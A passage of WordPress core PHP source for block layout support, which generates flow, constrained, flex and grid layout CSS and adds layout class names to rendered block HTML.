 * @return array[] Layout definitions.
 */
function wp_get_layout_definitions() {
	$layout_definitions = array(
		'default'     => array(
			'name'          => 'default',
			'slug'          => 'flow',
			'className'     => 'is-layout-flow',
			'baseStyles'    => array(
				array(
					'selector' => ' > .alignleft',
					'rules'    => array(
						'float'               => 'left',
						'margin-inline-start' => '0',
						'margin-inline-end'   => '2em',
					),
				),
				array(
					'selector' => ' > .alignright',
					'rules'    => array(
						'float'               => 'right',
						'margin-inline-start' => '2em',
						'margin-inline-end'   => '0',
					),
				),
				array(
					'selector' => ' > .aligncenter',
					'rules'    => array(
						'margin-left'  => 'auto !important',
						'margin-right' => 'auto !important',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => ' > :first-child',
					'rules'    => array(
						'margin-block-start' => '0',
					),
				),
				array(
					'selector' => ' > :last-child',
					'rules'    => array(
						'margin-block-end' => '0',
					),
				),
				array(
					'selector' => ' > *',
					'rules'    => array(
						'margin-block-start' => null,
						'margin-block-end'   => '0',
					),
				),
			),
		),
		'constrained' => array(
			'name'          => 'constrained',
			'slug'          => 'constrained',
			'className'     => 'is-layout-constrained',
			'baseStyles'    => array(
				array(
					'selector' => ' > .alignleft',
					'rules'    => array(
						'float'               => 'left',
						'margin-inline-start' => '0',
						'margin-inline-end'   => '2em',
					),
				),
				array(
					'selector' => ' > .alignright',
					'rules'    => array(
						'float'               => 'right',
						'margin-inline-start' => '2em',
						'margin-inline-end'   => '0',
					),
				),
				array(
					'selector' => ' > .aligncenter',
					'rules'    => array(
						'margin-left'  => 'auto !important',
						'margin-right' => 'auto !important',
					),
				),
				array(
					'selector' => ' > :where(:not(.alignleft):not(.alignright):not(.alignfull))',
					'rules'    => array(
						'max-width'    => 'var(--wp--style--global--content-size)',
						'margin-left'  => 'auto !important',
						'margin-right' => 'auto !important',
					),
				),
				array(
					'selector' => ' > .alignwide',
					'rules'    => array(
						'max-width' => 'var(--wp--style--global--wide-size)',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => ' > :first-child',
					'rules'    => array(
						'margin-block-start' => '0',
					),
				),
				array(
					'selector' => ' > :last-child',
					'rules'    => array(
						'margin-block-end' => '0',
					),
				),
				array(
					'selector' => ' > *',
					'rules'    => array(
						'margin-block-start' => null,
						'margin-block-end'   => '0',
					),
				),
			),
		),
		'flex'        => array(
			'name'          => 'flex',
			'slug'          => 'flex',
			'className'     => 'is-layout-flex',
			'displayMode'   => 'flex',
			'baseStyles'    => array(
				array(
					'selector' => '',
					'rules'    => array(
						'flex-wrap'   => 'wrap',
						'align-items' => 'center',
					),
				),
				array(
					'selector' => ' > :is(*, div)', // :is(*, div) instead of just * increases the specificity by 001.
					'rules'    => array(
						'margin' => '0',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => '',
					'rules'    => array(
						'gap' => null,
					),
				),
			),
		),
		'grid'        => array(
			'name'          => 'grid',
			'slug'          => 'grid',
			'className'     => 'is-layout-grid',
			'displayMode'   => 'grid',
			'baseStyles'    => array(
				array(
					'selector' => ' > :is(*, div)', // :is(*, div) instead of just * increases the specificity by 001.
					'rules'    => array(
						'margin' => '0',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => '',
					'rules'    => array(
						'gap' => null,
					),
				),
			),
		),
	);

	return $layout_definitions;
}

/**
 * Registers the layout block attribute for block types that support it.
 *
 * @since 5.8.0
 * @since 6.3.0 Check for layout support via the `layout` key with fallback to `__experimentalLayout`.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_layout_support( $block_type ) {
	$support_layout = block_has_support( $block_type, 'layout', false ) || block_has_support( $block_type, '__experimentalLayout', false );
	if ( $support_layout ) {
		if ( ! $block_type->attributes ) {
			$block_type->attributes = array();
		}

		if ( ! array_key_exists( 'layout', $block_type->attributes ) ) {
			$block_type->attributes['layout'] = array(
				'type' => 'object',
			);
		}
	}
}

/**
 * Generates the CSS corresponding to the provided layout.
 *
 * @since 5.9.0
 * @since 6.1.0 Added `$block_spacing` param, use style engine to enqueue styles.
 * @since 6.3.0 Added grid layout type.
 * @since 6.6.0 Removed duplicated selector from layout styles.
 *              Enabled negative margins for alignfull children of blocks with custom padding.
 * @access private
 *
 * @param string               $selector                      CSS selector.
 * @param array                $layout                        Layout object. The one that is passed has already checked
 *                                                            the existence of default block layout.
 * @param bool                 $has_block_gap_support         Optional. Whether the theme has support for the block gap. Default false.
 * @param string|string[]|null $gap_value                     Optional. The block gap value to apply. Default null.
 * @param bool                 $should_skip_gap_serialization Optional. Whether to skip applying the user-defined value set in the editor. Default false.
 * @param string               $fallback_gap_value            Optional. The block gap value to apply. Default '0.5em'.
 * @param array|null           $block_spacing                 Optional. Custom spacing set on the block. Default null.
 * @return string CSS styles on success. Else, empty string.
 */
function wp_get_layout_style( $selector, $layout, $has_block_gap_support = false, $gap_value = null, $should_skip_gap_serialization = false, $fallback_gap_value = '0.5em', $block_spacing = null ) {
	$layout_type   = isset( $layout['type'] ) ? $layout['type'] : 'default';
	$layout_styles = array();

	if ( 'default' === $layout_type ) {
		if ( $has_block_gap_support ) {
			if ( is_array( $gap_value ) ) {
				$gap_value = isset( $gap_value['top'] ) ? $gap_value['top'] : null;
			}
			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $gap_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) );
					$gap_value       = "var(--wp--preset--spacing--$slug)";
				}

				array_push(
					$layout_styles,
					array(
						'selector'     => "$selector > *",
						'declarations' => array(
							'margin-block-start' => '0',
							'margin-block-end'   => '0',
						),
					),
					array(
						'selector'     => "$selector > * + *",
						'declarations' => array(
							'margin-block-start' => $gap_value,
							'margin-block-end'   => '0',
						),
					)
				);
			}
		}
	} elseif ( 'constrained' === $layout_type ) {
		$content_size    = isset( $layout['contentSize'] ) ? $layout['contentSize'] : '';
		$wide_size       = isset( $layout['wideSize'] ) ? $layout['wideSize'] : '';
		$justify_content = isset( $layout['justifyContent'] ) ? $layout['justifyContent'] : 'center';

		$all_max_width_value  = $content_size ? $content_size : $wide_size;
		$wide_max_width_value = $wide_size ? $wide_size : $content_size;

		// Make sure there is a single CSS rule, and all tags are stripped for security.
		$all_max_width_value  = safecss_filter_attr( explode( ';', $all_max_width_value )[0] );
		$wide_max_width_value = safecss_filter_attr( explode( ';', $wide_max_width_value )[0] );

		$margin_left  = 'left' === $justify_content ? '0 !important' : 'auto !important';
		$margin_right = 'right' === $justify_content ? '0 !important' : 'auto !important';

		if ( $content_size || $wide_size ) {
			array_push(
				$layout_styles,
				array(
					'selector'     => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
					'declarations' => array(
						'max-width'    => $all_max_width_value,
						'margin-left'  => $margin_left,
						'margin-right' => $margin_right,
					),
				),
				array(
					'selector'     => "$selector > .alignwide",
					'declarations' => array( 'max-width' => $wide_max_width_value ),
				),
				array(
					'selector'     => "$selector .alignfull",
					'declarations' => array( 'max-width' => 'none' ),
				)
			);
		}

		if ( isset( $block_spacing ) ) {
			$block_spacing_values = wp_style_engine_get_styles(
				array(
					'spacing' => $block_spacing,
				)
			);

			/*
			 * Handle negative margins for alignfull children of blocks with custom padding set.
			 * They're added separately because padding might only be set on one side.
			 */
			if ( isset( $block_spacing_values['declarations']['padding-right'] ) ) {
				$padding_right = $block_spacing_values['declarations']['padding-right'];
				// Add unit if 0.
				if ( '0' === $padding_right ) {
					$padding_right = '0px';
				}
				$layout_styles[] = array(
					'selector'     => "$selector > .alignfull",
					'declarations' => array( 'margin-right' => "calc($padding_right * -1)" ),
				);
			}
			if ( isset( $block_spacing_values['declarations']['padding-left'] ) ) {
				$padding_left = $block_spacing_values['declarations']['padding-left'];
				// Add unit if 0.
				if ( '0' === $padding_left ) {
					$padding_left = '0px';
				}
				$layout_styles[] = array(
					'selector'     => "$selector > .alignfull",
					'declarations' => array( 'margin-left' => "calc($padding_left * -1)" ),
				);
			}
		}

		if ( 'left' === $justify_content ) {
			$layout_styles[] = array(
				'selector'     => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
				'declarations' => array( 'margin-left' => '0 !important' ),
			);
		}

		if ( 'right' === $justify_content ) {
			$layout_styles[] = array(
				'selector'     => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
				'declarations' => array( 'margin-right' => '0 !important' ),
			);
		}

		if ( $has_block_gap_support ) {
			if ( is_array( $gap_value ) ) {
				$gap_value = isset( $gap_value['top'] ) ? $gap_value['top'] : null;
			}
			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $gap_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) );
					$gap_value       = "var(--wp--preset--spacing--$slug)";
				}

				array_push(
					$layout_styles,
					array(
						'selector'     => "$selector > *",
						'declarations' => array(
							'margin-block-start' => '0',
							'margin-block-end'   => '0',
						),
					),
					array(
						'selector'     => "$selector > * + *",
						'declarations' => array(
							'margin-block-start' => $gap_value,
							'margin-block-end'   => '0',
						),
					)
				);
			}
		}
	} elseif ( 'flex' === $layout_type ) {
		$layout_orientation = isset( $layout['orientation'] ) ? $layout['orientation'] : 'horizontal';

		$justify_content_options = array(
			'left'   => 'flex-start',
			'right'  => 'flex-end',
			'center' => 'center',
		);

		$vertical_alignment_options = array(
			'top'    => 'flex-start',
			'center' => 'center',
			'bottom' => 'flex-end',
		);

		if ( 'horizontal' === $layout_orientation ) {
			$justify_content_options    += array( 'space-between' => 'space-between' );
			$vertical_alignment_options += array( 'stretch' => 'stretch' );
		} else {
			$justify_content_options    += array( 'stretch' => 'stretch' );
			$vertical_alignment_options += array( 'space-between' => 'space-between' );
		}

		if ( ! empty( $layout['flexWrap'] ) && 'nowrap' === $layout['flexWrap'] ) {
			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array( 'flex-wrap' => 'nowrap' ),
			);
		}

		if ( $has_block_gap_support && isset( $gap_value ) ) {
			$combined_gap_value = '';
			$gap_sides          = is_array( $gap_value ) ? array( 'top', 'left' ) : array( 'top' );

			foreach ( $gap_sides as $gap_side ) {
				$process_value = $gap_value;
				if ( is_array( $gap_value ) ) {
					$process_value = isset( $gap_value[ $gap_side ] ) ? $gap_value[ $gap_side ] : $fallback_gap_value;
				}
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $process_value ) && str_contains( $process_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $process_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $process_value, $index_to_splice ) );
					$process_value   = "var(--wp--preset--spacing--$slug)";
				}
				$combined_gap_value .= "$process_value ";
			}
			$gap_value = trim( $combined_gap_value );

			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'gap' => $gap_value ),
				);
			}
		}

		if ( 'horizontal' === $layout_orientation ) {
			/*
			 * Add this style only if is not empty for backwards compatibility,
			 * since we intend to convert blocks that had flex layout implemented
			 * by custom css.
			 */
			if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'justify-content' => $justify_content_options[ $layout['justifyContent'] ] ),
				);
			}

			if ( ! empty( $layout['verticalAlignment'] ) && array_key_exists( $layout['verticalAlignment'], $vertical_alignment_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'align-items' => $vertical_alignment_options[ $layout['verticalAlignment'] ] ),
				);
			}
		} else {
			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array( 'flex-direction' => 'column' ),
			);
			if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'align-items' => $justify_content_options[ $layout['justifyContent'] ] ),
				);
			} else {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'align-items' => 'flex-start' ),
				);
			}
			if ( ! empty( $layout['verticalAlignment'] ) && array_key_exists( $layout['verticalAlignment'], $vertical_alignment_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'justify-content' => $vertical_alignment_options[ $layout['verticalAlignment'] ] ),
				);
			}
		}
	} elseif ( 'grid' === $layout_type ) {
		if ( ! empty( $layout['columnCount'] ) ) {
			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array( 'grid-template-columns' => 'repeat(' . $layout['columnCount'] . ', minmax(0, 1fr))' ),
			);
		} else {
			$minimum_column_width = ! empty( $layout['minimumColumnWidth'] ) ? $layout['minimumColumnWidth'] : '12rem';

			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array(
					'grid-template-columns' => 'repeat(auto-fill, minmax(min(' . $minimum_column_width . ', 100%), 1fr))',
					'container-type'        => 'inline-size',
				),
			);
		}

		if ( $has_block_gap_support && isset( $gap_value ) ) {
			$combined_gap_value = '';
			$gap_sides          = is_array( $gap_value ) ? array( 'top', 'left' ) : array( 'top' );

			foreach ( $gap_sides as $gap_side ) {
				$process_value = $gap_value;
				if ( is_array( $gap_value ) ) {
					$process_value = isset( $gap_value[ $gap_side ] ) ? $gap_value[ $gap_side ] : $fallback_gap_value;
				}
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $process_value ) && str_contains( $process_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $process_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $process_value, $index_to_splice ) );
					$process_value   = "var(--wp--preset--spacing--$slug)";
				}
				$combined_gap_value .= "$process_value ";
			}
			$gap_value = trim( $combined_gap_value );

			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'gap' => $gap_value ),
				);
			}
		}
	}

	if ( ! empty( $layout_styles ) ) {
		/*
		 * Add to the style engine store to enqueue and render layout styles.
		 * Return compiled layout styles to retain backwards compatibility.
		 * Since https://github.com/WordPress/gutenberg/pull/42452,
		 * wp_enqueue_block_support_styles is no longer called in this block supports file.
		 */
		return wp_style_engine_get_stylesheet_from_css_rules(
			$layout_styles,
			array(
				'context'  => 'block-supports',
				'prettify' => false,
			)
		);
	}

	return '';
}

/**
 * Renders the layout config to the block wrapper.
 *
 * @since 5.8.0
 * @since 6.3.0 Adds compound class to layout wrapper for global spacing styles.
 * @since 6.3.0 Check for layout support via the `layout` key with fallback to `__experimentalLayout`.
 * @since 6.6.0 Removed duplicate container class from layout styles.
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_layout_support_flag( $block_content, $block ) {
	$block_type            = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$block_supports_layout = block_has_support( $block_type, 'layout', false ) || block_has_support( $block_type, '__experimentalLayout', false );
	$child_layout          = isset( $block['attrs']['style']['layout'] ) ? $block['attrs']['style']['layout'] : null;

	if ( ! $block_supports_layout && ! $child_layout ) {
		return $block_content;
	}

	$outer_class_names = array();

	// Child layout specific logic.
	if ( $child_layout ) {
		/*
		 * Generates a unique class for child block layout styles.
		 *
		 * To ensure consistent class generation across different page renders,
		 * only properties that affect layout styling are used. These properties
		 * come from `$block['attrs']['style']['layout']` and `$block['parentLayout']`.
		 *
		 * As long as these properties coincide, the generated class will be the same.
		 */
		$container_content_class = wp_unique_id_from_values(
			array(
				'layout'       => array_intersect_key(
					$block['attrs']['style']['layout'] ?? array(),
					array_flip(
						array( 'selfStretch', 'flexSize', 'columnStart', 'columnSpan', 'rowStart', 'rowSpan' )
					)
				),
				'parentLayout' => array_intersect_key(
					$block['parentLayout'] ?? array(),
					array_flip(
						array( 'minimumColumnWidth', 'columnCount' )
					)
				),
			),
			'wp-container-content-'
		);

		$child_layout_declarations = array();
		$child_layout_styles       = array();

		$self_stretch = isset( $child_layout['selfStretch'] ) ? $child_layout['selfStretch'] : null;

		if ( 'fixed' === $self_stretch && isset( $child_layout['flexSize'] ) ) {
			$child_layout_declarations['flex-basis'] = $child_layout['flexSize'];
			$child_layout_declarations['box-sizing'] = 'border-box';
		} elseif ( 'fill' === $self_stretch ) {
			$child_layout_declarations['flex-grow'] = '1';
		}

		if ( isset( $child_layout['columnSpan'] ) ) {
			$column_span                              = $child_layout['columnSpan'];
			$child_layout_declarations['grid-column'] = "span $column_span";
		}
		if ( isset( $child_layout['rowSpan'] ) ) {
			$row_span                              = $child_layout['rowSpan'];
			$child_layout_declarations['grid-row'] = "span $row_span";
		}
		$child_layout_styles[] = array(
			'selector'     => ".$container_content_class",
			'declarations' => $child_layout_declarations,
		);

		/*
		 * If columnSpan is set, and the parent grid is responsive, i.e. if it has a minimumColumnWidth set,
		 * the columnSpan should be removed on small grids. If there's a minimumColumnWidth, the grid is responsive.
		 * But if the minimumColumnWidth value wasn't changed, it won't be set. In that case, if columnCount doesn't
		 * exist, we can assume that the grid is responsive.
		 */
		if ( isset( $child_layout['columnSpan'] ) && ( isset( $block['parentLayout']['minimumColumnWidth'] ) || ! isset( $block['parentLayout']['columnCount'] ) ) ) {
			$column_span_number  = floatval( $child_layout['columnSpan'] );
			$parent_column_width = isset( $block['parentLayout']['minimumColumnWidth'] ) ? $block['parentLayout']['minimumColumnWidth'] : '12rem';
			$parent_column_value = floatval( $parent_column_width );
			$parent_column_unit  = explode( $parent_column_value, $parent_column_width );

			/*
			 * If there is no unit, the width has somehow been mangled so we reset both unit and value
			 * to defaults.
			 * Additionally, the unit should be one of px, rem or em, so that also needs to be checked.
			 */
			if ( count( $parent_column_unit ) <= 1 ) {
				$parent_column_unit  = 'rem';
				$parent_column_value = 12;
			} else {
				$parent_column_unit = $parent_column_unit[1];

				if ( ! in_array( $parent_column_unit, array( 'px', 'rem', 'em' ), true ) ) {
					$parent_column_unit = 'rem';
				}
			}

			/*
			 * A default gap value is used for this computation because custom gap values may not be
			 * viable to use in the computation of the container query value.
			 */
			$default_gap_value     = 'px' === $parent_column_unit ? 24 : 1.5;
			$container_query_value = $column_span_number * $parent_column_value + ( $column_span_number - 1 ) * $default_gap_value;
			$container_query_value = $container_query_value . $parent_column_unit;

			$child_layout_styles[] = array(
				'rules_group'  => "@container (max-width: $container_query_value )",
				'selector'     => ".$container_content_class",
				'declarations' => array(
					'grid-column' => '1/-1',
				),
			);
		}

		/*
		 * Add to the style engine store to enqueue and render layout styles.
		 * Return styles here just to check if any exist.
		 */
		$child_css = wp_style_engine_get_stylesheet_from_css_rules(
			$child_layout_styles,
			array(
				'context'  => 'block-supports',
				'prettify' => false,
			)
		);

		if ( $child_css ) {
			$outer_class_names[] = $container_content_class;
		}
	}

	// Prep the processor for modifying the block output.
	$processor = new WP_HTML_Tag_Processor( $block_content );

	// Having no tags implies there are no tags onto which to add class names.
	if ( ! $processor->next_tag() ) {
		return $block_content;
	}

	/*
	 * A block may not support layout but still be affected by a parent block's layout.
	 *
	 * In these cases add the appropriate class names and then return early; there's
	 * no need to investigate on this block whether additional layout constraints apply.
	 */
	if ( ! $block_supports_layout && ! empty( $outer_class_names ) ) {
		foreach ( $outer_class_names as $class_name ) {
			$processor->add_class( $class_name );
		}
		return $processor->get_updated_html();
	} elseif ( ! $block_supports_layout ) {
		// Ensure layout classnames are not injected if there is no layout support.
		return $block_content;
	}

	$global_settings = wp_get_global_settings();
	$fallback_layout = isset( $block_type->supports['layout']['default'] )
		? $block_type->supports['layout']['default']
		: array();
	if ( empty( $fallback_layout ) ) {
		$fallback_layout = isset( $block_type->supports['__experimentalLayout']['default'] )
			? $block_type->supports['__experimentalLayout']['default']
			: array();
	}
	$used_layout = isset( $block['attrs']['layout'] ) ? $block['attrs']['layout'] : $fallback_layout;

	$class_names        = array();
	$layout_definitions = wp_get_layout_definitions();

	// Set the correct layout type for blocks using legacy content width.
	if ( isset( $used_layout['inherit'] ) && $used_layout['inherit'] || isset( $used_layout['contentSize'] ) && $used_layout['contentSize'] ) {
		$used_layout['type'] = 'constrained';
	}

	$root_padding_aware_alignments = isset( $global_settings['useRootPaddingAwareAlignments'] )
		? $global_settings['useRootPaddingAwareAlignments']
		: false;

	if (
		$root_padding_aware_alignments &&
		isset( $used_layout['type'] ) &&
		'constrained' === $used_layout['type']
	) {
		$class_names[] = 'has-global-padding';
	}

	/*
	 * The following section was added to reintroduce a small set of layout classnames that were
	 * removed in the 5.9 release (https://github.com/WordPress/gutenberg/issues/38719). It is
	 * not intended to provide an extended set of classes to match all block layout attributes
	 * here.
	 */
	if ( ! empty( $block['attrs']['layout']['orientation'] ) ) {
		$class_names[] = 'is-' . sanitize_title( $block['attrs']['layout']['orientation'] );
	}

	if ( ! empty( $block['attrs']['layout']['justifyContent'] ) ) {
		$class_names[] = 'is-content-justification-' . sanitize_title( $block['attrs']['layout']['justifyContent'] );
	}

	if ( ! empty( $block['attrs']['layout']['flexWrap'] ) && 'nowrap' === $block['attrs']['layout']['flexWrap'] ) {
		$class_names[] = 'is-nowrap';
	}

	// Get classname for layout type.
	if ( isset( $used_layout['type'] ) ) {
		$layout_classname = isset( $layout_definitions[ $used_layout['type'] ]['className'] )
			? $layout_definitions[ $used_layout['type'] ]['className']
			: '';
	} else {
		$layout_classname = isset( $layout_definitions['default']['className'] )
			? $layout_definitions['default']['className']
			: '';
	}

	if ( $layout_classname && is_string( $layout_classname ) ) {
		$class_names[] = sanitize_title( $layout_classname );
	}

	/*
	 * Only generate Layout styles if the theme has not opted-out.
	 * Attribute-based Layout classnames are output in all cases.
	 */
	if ( ! current_theme_supports( 'disable-layout-styles' ) ) {

		$gap_value = isset( $block['attrs']['style']['spacing']['blockGap'] )
			? $block['attrs']['style']['spacing']['blockGap']
			: null;
		/*
		 * Skip if gap value contains unsupported characters.
		 * Regex for CSS value borrowed from `safecss_filter_attr`, and used here
		 * to only match against the value, not the CSS attribute.
		 */
		if ( is_array( $gap_value ) ) {
			foreach ( $gap_value as $key => $value ) {
				$gap_value[ $key ] = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value;
			}
		} else {
			$gap_value = $gap_value && preg_match( '%[\\\(&=}]|/\*%', $gap_value ) ? null : $gap_value;
		}

		$fallback_gap_value = isset( $block_type->supports['spacing']['blockGap']['__experimentalDefault'] )
			? $block_type->supports['spacing']['blockGap']['__experimentalDefault']
			: '0.5em';
		$block_spacing      = isset( $block['attrs']['style']['spacing'] )
			? $block['attrs']['style']['spacing']
			: null;

		/*
		 * If a block's block.json skips serialization for spacing or spacing.blockGap,
		 * don't apply the user-defined value to the styles.
		 */
		$should_skip_gap_serialization = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'blockGap' );

		$block_gap             = isset( $global_settings['spacing']['blockGap'] )
			? $global_settings['spacing']['blockGap']
			: null;
		$has_block_gap_support = isset( $block_gap );

		/*
		 * Generates a unique ID based on all the data required to obtain the
		 * corresponding layout style. Keeps the CSS class names the same
		 * even for different blocks on different places, as long as they have
		 * the same layout definition. Makes the CSS class names stable across
		 * paginations for features like the enhanced pagination of the Query block.
		 */
		$container_class = wp_unique_id_from_values(
			array(
				$used_layout,
				$has_block_gap_support,
				$gap_value,
				$should_skip_gap_serialization,
				$fallback_gap_value,
				$block_spacing,
			),
			'wp-container-' . sanitize_title( $block['blockName'] ) . '-is-layout-'
		);

		$style = wp_get_layout_style(
			".$container_class",
			$used_layout,
			$has_block_gap_support,
			$gap_value,
			$should_skip_gap_serialization,
			$fallback_gap_value,
			$block_spacing
		);

		// Only add container class and enqueue block support styles if unique styles were generated.
		if ( ! empty( $style ) ) {
			$class_names[] = $container_class;
		}
	}

	// Add combined layout and block classname for global styles to hook onto.
	$split_block_name = explode( '/', $block['blockName'] );
	$full_block_name  = 'core' === $split_block_name[0] ? end( $split_block_name ) : implode( '-', $split_block_name );
	$class_names[]    = 'wp-block-' . $full_block_name . '-' . $layout_classname;

	// Add classes to the outermost HTML tag if necessary.
	if ( ! empty( $outer_class_names ) ) {
		foreach ( $outer_class_names as $outer_class_name ) {
			$processor->add_class( $outer_class_name );
		}
	}

	/**
	 * Attempts to refer to the inner-block wrapping element by its class attribute.
	 *
	 * When examining a block's inner content, if a block has inner blocks, then
	 * the first content item will likely be a text (HTML) chunk immediately
	 * preceding the inner blocks. The last HTML tag in that chunk would then be
	 * an opening tag for an element that wraps the inner blocks.
	 *
	 * There's no reliable way to associate this wrapper in $block_content because
	 * it may have changed during the rendering pipeline (as inner contents is
	 * provided before rendering) and through previous filters. In many cases,
	 * however, the `class` attribute will be a good-enough identifier, so this
	 * code finds the last tag in that chunk and stores the `class` attribute
	 * so that it can be used later when working through the rendered block output
	 * to identify the wrapping element and add the remaining class names to it.
	 *
	 * It's also possible that no inner block wrapper even exists. If that's the
	 * case this code could apply the class names to an invalid element.
	 *
	 * Example:
	 *
	 *     $block['innerBlocks']  = array( $list_item );
	 *     $block['innerContent'] = array( '<ul class="list-wrapper is-unordered">', null, '</ul>' );
	 *
	 *     // After rendering, the initial contents may have been modified by other renderers or filters.
	 *     $block_content = <<<HTML
	 *         <figure>
	 *             <ul class="annotated-list list-wrapper is-unordered">
	 *                 <li>Code</li>
	 *             </ul><figcaption>It's a list!</figcaption>
	 *         </figure>
	 *     HTML;
	 *
	 * Although it is possible that the original block-wrapper classes are changed in $block_content
	 * from how they appear in $block['innerContent'], it's likely that the original class attributes
	 * are still present in the wrapper as they are in this example. Frequently, additional classes
	 * will also be present; rarely should classes be removed.
	 *
	 * @todo Find a better way to match the first inner block. If it's possible to identify where the
	 *       first inner block starts, then it will be possible to find the last tag before it starts
	 *       and then that tag, if an opening tag, can be solidly identified as a wrapping element.
	 *       Can some unique value or class or ID be added to the inner blocks when they process
	 *       so that they can be extracted here safely without guessing? Can the block rendering function
	 *       return information about where the rendered inner blocks start?
	 *
	 * @var string|null
	 */
	$inner_block_wrapper_classes = null;
	$first_chunk                 = isset( $block['innerContent'][0] ) ? $block['innerContent'][0] : null;
	if ( is_string( $first_chunk ) && count( $block['innerContent'] ) > 1 ) {
		$first_chunk_processor = new WP_HTML_Tag_Processor( $first_chunk );
		while ( $first_chunk_processor->next_tag() ) {
			$class_attribute = $first_chunk_processor->get_attribute( 'class' );
			if ( is_string( $class_attribute ) && ! empty( $class_attribute ) ) {
				$inner_block_wrapper_classes = $class_attribute;
			}
		}
	}

	/*
	 * If necessary, advance to what is likely to be an inner block wrapper tag.
	 *
	 * This advances until it finds the first tag containing the original class
	 * attribute from above. If none is found it will scan to the end of the block
	 * and fail to add any class names.
	 *
	 * If there is no block wrapper it won't advance at all, in which case the
	 * class names will be added to the first and outermost tag of the block.
	 * For cases where this outermost tag is the only tag surrounding inner
	 * blocks then the outer wrapper and inner wrapper are the same.
	 */
	do {
		if ( ! $inner_block_wrapper_classes ) {
			break;
		}

		$class_attribute = $processor->get_attribute( 'class' );
		if ( is_string( $class_attribute ) && str_contains( $class_attribute, $inner_block_wrapper_classes ) ) {
			break;
		}
	} while ( $processor->next_tag() );

	// Add the remaining class names.
	foreach ( $class_names as $class_name ) {
		$processor->add_class( $class_name );
	}

	return $processor->get_updated_html();
}

/**
 * Check if the parent block exists and if it has a layout attribute.
 * If it does, add the parent layout to the parsed block
 *
 * @since 6.6.0
 * @access private
 *
 * @param array    $parsed_block The parsed block.
 * @param array    $source_block The source block.
 * @param WP_Block $parent_block The parent block.
 * @return array The parsed block with parent layout attribute if it exists.
 */
function wp_add_parent_layout_to_parsed_block( $parsed_block, $source_block, $parent_block ) {
	if ( $parent_block && isset( $parent_block->parsed_block['attrs']['layout'] ) ) {
		$parsed_block['parentLayout'] = $parent_block->parsed_block['attrs']['layout'];
	}
	return $parsed_block;
}

add_filter( 'render_block_data', 'wp_add_parent_layout_to_parsed_block', 10, 3 );

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'layout',
	array(
		'register_attribute' => 'wp_register_layout_support',
	)
);
add_filter( 'render_block', 'wp_render_layout_support_flag', 10, 2 );

/**
 * For themes without theme.json file, make sure
 * to restore the inner div for the group block
 * to avoid breaking styles relying on that div.
 *
 * @since 5.8.0
 * @since 6.6.1 Removed inner container from Grid variations.
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_restore_group_inner_container( $block_content, $block ) {
	$tag_name                         = isset( $block['attrs']['tagName'] ) ? $block['attrs']['tagName'] : 'div';
	$group_with_inner_container_regex = sprintf(
		'/(^\s*<%1$s\b[^>]*wp-block-group(\s|")[^>]*>)(\s*<div\b[^>]*wp-block-group__inner-container(\s|")[^>]*>)((.|\S|\s)*)/U',
		preg_quote( $tag_name, '/' )
	);

	if (
		wp_theme_has_theme_json() ||
		1 === preg_match( $group_with_inner_container_regex, $block_content ) ||
		( isset( $block['attrs']['layout']['type'] ) && ( 'flex' === $block['attrs']['layout']['type'] || 'grid' === $block['attrs']['layout']['type'] ) )
	) {
		return $block_content;
	}

	/*
	 * This filter runs after the layout classnames have been added to the block, so they
	 * have to be removed from the outer wrapper and then added to the inner.
	 */
	$layout_classes = array();
	$processor      = new WP_HTML_Tag_Processor( $block_content );

	if ( $processor->next_tag( array( 'class_name' => 'wp-block-group' ) ) ) {
		foreach ( $processor->class_list() as $class_name ) {
			if ( str_contains( $class_name, 'is-layout-' ) ) {
				$layout_classes[] = $class_name;
				$processor->remove_class( $class_name );
			}
		}
	}

